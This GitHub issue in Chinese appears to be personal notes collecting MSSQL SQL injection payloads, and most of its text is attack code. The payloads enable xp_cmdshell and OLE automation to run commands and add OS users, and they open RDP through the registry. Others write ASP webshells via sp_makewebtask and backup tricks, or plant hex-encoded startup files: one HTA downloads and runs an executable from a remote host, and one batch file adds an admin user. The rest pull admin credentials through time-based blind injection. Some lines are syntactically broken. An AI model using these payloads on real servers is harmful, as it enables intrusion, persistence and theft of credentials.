Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

注入(四) #92

Open
PyxYuYu opened this issue Mar 12, 2017 · 0 comments
Open

注入(四) #92

PyxYuYu opened this issue Mar 12, 2017 · 0 comments
Labels

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented Mar 12, 2017

I learned the value of hard work by working hard.

0x01 SQL注入

  • MSSQL
    • 默认数据库
      • information_schema:适用于 MSSQL 2000 及更高版本
      • pubs:不适用于 MSSQL 2005
      • model:适用于所有版本
      • msdb:适用于所有版本
      • tempdb:适用于所有版本
      • northwind:适用于所有版本
    • 注释查询
      • /*
      • --
      • ;00%
      • 例如:
         select * from Users where username = '' or 1=1 --' and password = '';
      
    • 三种权限
      • sa:可以直接执行命令
      • db_owner:找到 Web 路径,利用备份的方式得到 WebShell,有时也可以对注册表进行操作
      • public:需要猜解表和列
    • 权限判断
      • 利用 IS_SRVROLEMEMBER 函数来判断
        • public sysadmin db_owner
           and 1=(select IS_SRVROLEMEMBER('public'))
        
      • 利用 is_member 函数来判断
        • dbo db_owner public
           and 1=(select is_member('dbo'))
        
      • 利用 user_name() 来判断
        • dbo db_owner public
           and user_name()='dbo'
        
    • 数据库版本判断
       and 1=convert(int, @@version)
    
    • 当正在使用的数据库名
       and 1=convert(int, db_name())
    
       and (select db_name())>0
    
    • 当前用户名
       and 1=convert(int, user_name())
    
       and 0<>(select user_name())
    
    • 跨裤查询
       // 将n改成0,1,2,3......可以实现跨裤查询
       and 0<>db_name(n)
    
    • 查看数据库是否支持多语句查询
       ;declare @d int;
    
    • 判断站、库是否分离
      • 显示数据库客户端主机名
         and (select host_name())>0
      
      • 显示数据库服务端主机名
         and (select @@servername)>0
      
    • sa 权限
      • xp_cmdshell 执行任意命令
        • 判断 xp_cmdshell 这个存储过程是否存在
           and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')
        
        • 如果返回错误,说明不存在,在 MSSQL 2005 之后的数据库中,默认不开启 xp_cmdshell 存储过程,要使用这个功能,必须先进行恢复
           ;exec sp_configure 'show advanced options`,1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
        
        • 如果执行了这条命令,仍然无法开启 xp_cmdshell 存储进程,说明管理员将 xplog70.dll 删除了,需要将 xplog70.dll 上传至目标服务器(一般通过 WebShell 上传)
        • 继续执行,即可恢复 xp_cmdshell
           ;exec master.dbo.sp_addextendedproc 'xp_cmdshell`,`c:\recycler\xplog70.dll';--
        
        • 恢复 xp_cmdshell 之后,就可以运用这个存储过程执行系统命令
           // 显示系统版本
           ;exec master.dbo.xp_cmdshell 'ver';
        
        • 如果
      • xp_dirtree 列出文件目录
        • MSSQL 2005 默认不开启
           ;exec master.dbo.xp_dirtree 'c:\',1,1;
        
      • SP_OAcreate 列出文件目录
        • MSSQL 2005 默认不开启 SP_OAcreate 存储过程,因此需要先启用 Ole Automation Procedures 组件
           ;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ole Automation Procedures',1;reconfigure;
        
        • 利用 wscript.shell 执行命令,添加用户,之后连接 3389 或者进行其他操作
           ;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user pyx 123456 /add'
        
      • sp_makewebtask 写入一句话木马(只能写文本数据)
        • MSSQL 2005 默认未开启 sp_configure 存储过程,因此得先启用 Web Assistant Procedures 组件
           ;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Web Assistant Procedures',1;reconfigure;
        
        • 之后,执行下面命令,生成一句话木马 c:\test.asp
           ;exec sp_makewebtask 'c:\test.asp','select"<%execute(request("a"))%>"';
        
      • xp_regwrite 操作注册表
        • 开启 3389 端口命令(关闭则将 0 改成 1)
           ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
        
        • 查看远程桌面终端开启的端口号命令
           ;exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
        
    • db_owner 权限
      • 具有对当前数据库的修改、删除、新增数据表及执行 xp_regreadxp_dirtree 等部分存储过程的权限(MSSQL 2005 以上版本,默认不开启这两个存储过程)
      • 该权限下除了可以采取 public 权限下的注入方式之外,还可以采取 数据库差异备份(或 LOG备份)一句话木马的方式获得 WebShell,甚至可以直接将木马备份到操作系统的启动项,待管理员重启服务器的时候获得控制权限
      • 获取网站的绝对路径(差异备份 或者 LOG备份 的前提)
        • 直接通过网页报错信息,获得网站的绝对路径
          • URL 后添加 ' 符号,使网站报错,得到错误信息中显示的绝对路径
        • 通过调用 xp_regreadxp_dirtree 存储组件获得网站的绝对路径
          • 调用 xp_regread 存储过程
             ;create table cmd(a varchar(255))--   //创建表
             ;declare @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into cmd values(@result);--                      //将网站目录插到表字段中
             and 1=(select count(*) from cmd where a > 1);--  //暴出该字段
             ;drop table cmd--  //删除此表
          
          • 调用 xp_dirtree 存储过程
             ;create table cmd(subdirectory varchar(400) NULL,depth tinyint NULL,[file] bit NULL)--      //创建表
             ;insert cmd exec master..xp_dirtree 'C:\',1,1--   //将C盘的文件夹及文件插入到表中
             and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from (select Top 1 [subdirectory],[file] from cmd order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);--       //暴出第1个文件夹名称
             and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from(select Top X [subdirectory],[file] from [jm_tmp] order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);--   //暴出第X个文件夹名称
          
      • 备份一句话木马
        • 数据库 差异备份
           ;backup database [当前数据库名] to disk = 'c:\recycler\1.bak'--   //先备份一次数据库
           ;create table cmd (a image)--             //新建立一个名称为cmd的表
           ;insert into cmd (a) values ('<%eval request("cmd")%>')--    //插入一句话木马
           ;backup database [当前数据库名] to disk = '网站绝对路径' WITH DIFFERENTIAL,FORMAT--
        
        • LOG备份
           ;alter database 当前数据库名 set RECOVERY FULL-- //把SQL设置成日志完全恢复模式
           ;create table cmd (a image)--          //新建立一个名称为cmd的表
           ;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init--  //先把日志备份到C盘
           ;insert into cmd (a) values ('<%eval request("cmd")%>')--   //插入一句话木马
           ;backup log [当前数据库名] to disk = '网站绝对路径'--    //备份日志到网站绝对路径上,比如 ;backup log flower to disk = 'C:\flowerCompany\test.asp'--,菜刀链接 http://www.xxx.com/test.asp 即可
           ;drop table cmd-- 删除新建的cmd表
           ;alter database [当前数据库名] set RECOVERY SIMPLE--   //把SQL设置成日志简单恢复模式
        
        • 由于大型网站的数据库很大,数据库内部数据的偶然性,采用数据库 差异备份 的成功率很低,而采用 LOG备份 的文件体积很小,也很稳定,所以较常使用 LOG备份 一句话木马
      • 备份木马至启动项
        • 通过远程下载方式备份 hta 木马至服务器启动项(htascript 脚本)
           ;alter database [当前数据库名] set RECOVERY FULL--
           ;create table cmd(a image)--
           ;backup log [当前数据库名] to disk = 'c:\recycler\1.txt' with init--
           ;insert into cmd values(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A77696E646F772E6D6F7665546F20383838382C383838380D0A753D22687474703A2F2F3139322E3136382E312E32332F746573742E657865220D0A703D226D2E657865220D0A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022290D0A782E4F70656E22474554222C752C300D0A782E53656E6428290D0A53657420733D4372656174654F626A656374282241444F44422E53747265616D22290D0A732E4D6F64653D330D0A732E547970653D310D0A732E4F70656E28290D0A732E577269746528782E726573706F6E7365426F6479290D0A732E53617665546F46696C6520702C320D0A53657420773D4372656174654F626A6563742822577363726970742E5368656C6C22290D0A772E52756E20702C300D0A772E52756E22636D64202F632064656C20612E687461222C300D0A77696E646F772E726573697A65546F20302C300D0A77696E646F772E636C6F73650D0A3C2F7363726970743E)--
           ;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.hta'--
           ;drop table cmd--
        
        • 备份添加用户的 bat 至服务器启动项
           ;alter database [当前数据库名] set RECOVERY FULL--
           ;create table cmd (a image)--
           ;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init--
           ;insert into cmd (a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)--
           ;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
           ;drop table cmd--
        
        • 由于 bat 文件对字节数有严格要求,并且 bat 文件执行很不稳定,实际的操作过程中一般采用备份成 hta 文件的方式
    • public 权限
      • 权限最小,只能进行列目录、读取数据库、建立临时表等操作,该权限下的注入,通常是通过爆库名、爆表名、爆列名、最后爆出关键列名对应的内容,从而获得后台管理员的用户名和密码
      • 当前数据库注入步骤
        • 爆表名
           // n从1开始,可以爆第一个表名,之后类推
           and (select top 1 name from(select top n id,name from sysobjects where xtype=char(85)) T order by id desc)>1
        
        • 爆列名
           // 利用上面爆出的表名,n从1开始,依次爆出所有列名
           and (select top 1 col_name(object_id('表名'),n) from sysobjects)>1
        
           // 利用 having 1=1 和 group by,但是只能爆当前数据库的当前表的所有列名
           having 1=1
           // 列名是从 having 1=1 爆出得来
           group by 列名 having 1=1
        
        • 爆内容
           // 通过改变n,来获取所有内容
           and (select top n 列名 from 表名)>1
        
           // 另外一种快速猜解方法,就是利用平时积累的常用表名直接带入查询是否存在
           // order by 出列数量,直接将猜测的表名带入查看是否返回正常,正常则存在,列名一样猜测
           and 1=2 union select 1,2,3,4,5,6 from admin
        
    • 盲注
      • 无错误回显的 MSSQL 注入,即弹出对话框(非防注入警告)、调整到另一个页面、不显示内容,可以采用盲注
      • 基于时间的盲注
        • 利用 ifwaitfor delay 的结合,延迟执行 SQL 语句,类似 Access 中的 ASCII 码逐位猜解
           // 查看权限
           ;if (0=(SELECT IS_MEMBER ('db_owner'))) waitfor delay '0:0:5'--
        
           // 查看库名
           ;if(lower(ascii(substring(db_name()),n,1))>97) waitfor delay '0:0:5'--
        
           // 查看表名
           ;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
        
           // 查看其他表名
           ;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('表名')) And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
        
           // 假设表名 admin,查看列名
           ;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name='admin'),1,1)))>80 '0:0:5'--
        
           // 查看其他列名
           ;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') And table_name='admin'),1,1)))>80 '0:0:5'--
           ;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') AND where column_name<>('username') And table_name='admin'),1,1)))>80 '0:0:5'--
        
           // 获取具体数据
           ;if(ascii(substring((select top 1 Username from admin),1,1)))>1 waitfor delay '0:0:5'--
           ;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay '0:0:5'--
        
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant